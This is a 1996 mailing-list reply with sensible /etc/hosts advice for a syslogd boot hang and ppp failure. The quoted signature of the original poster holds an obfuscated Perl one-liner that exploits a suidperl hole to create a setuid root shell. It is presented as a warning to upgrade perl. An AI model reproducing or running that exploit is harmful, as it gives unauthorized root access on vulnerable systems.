I was having the same problem. What you need to do is a 'uname -a' from that get your hostname and make sure there is an entry in the /etc/hosts file for both that hostname and the hostname.domainname, if you are using dynamic ip w/ ppp just set your hostname to 127.0.0.1.
-Michael On Thu, 3 Oct 1996, Joey Hess wrote: > I'm having a problem with the sysklogd package. Sometimes when I boot up, > it says it's starting syslogd, waits there for about a minute (much longer > than usual), and then continues on to start klogd. It looks like syslogd > isn't really starting when it delays this way, or it is dying after it > starts up. > > Also, if I have this problem with starting syslogd, I can't seem to get a > ppp connection up. Pppd never sends anything out to my modem when I start > it, as far as I can tell. > > SOmetime when I boot up, syslogd starts up quickly and ppp works with no > problems. I don't know what's going on.. This all started a few days back > when I upgraded to sysklogd 1.3-11 and ppp 2.2.0f-6. I'm using the 2.0.21 > kernel. > > -- > #!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod [EMAIL PROTECTED] > $_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_ > # Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today.. > "true - do nothing, successfully" - - true (1) > > > -- > TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to > [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED] > ______________________________________________________________________________ Michael Karafotis [EMAIL PROTECTED] Member, Pencom Systems Administration On-Site: BBN Planet http://www.ziplink.net/~karafoti/ (617) 873-6355 "The more I look at it, the more I like it ............. I do think its good!" -- TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to [EMAIL PROTECTED] . Trouble? e-mail to [EMAIL PROTECTED]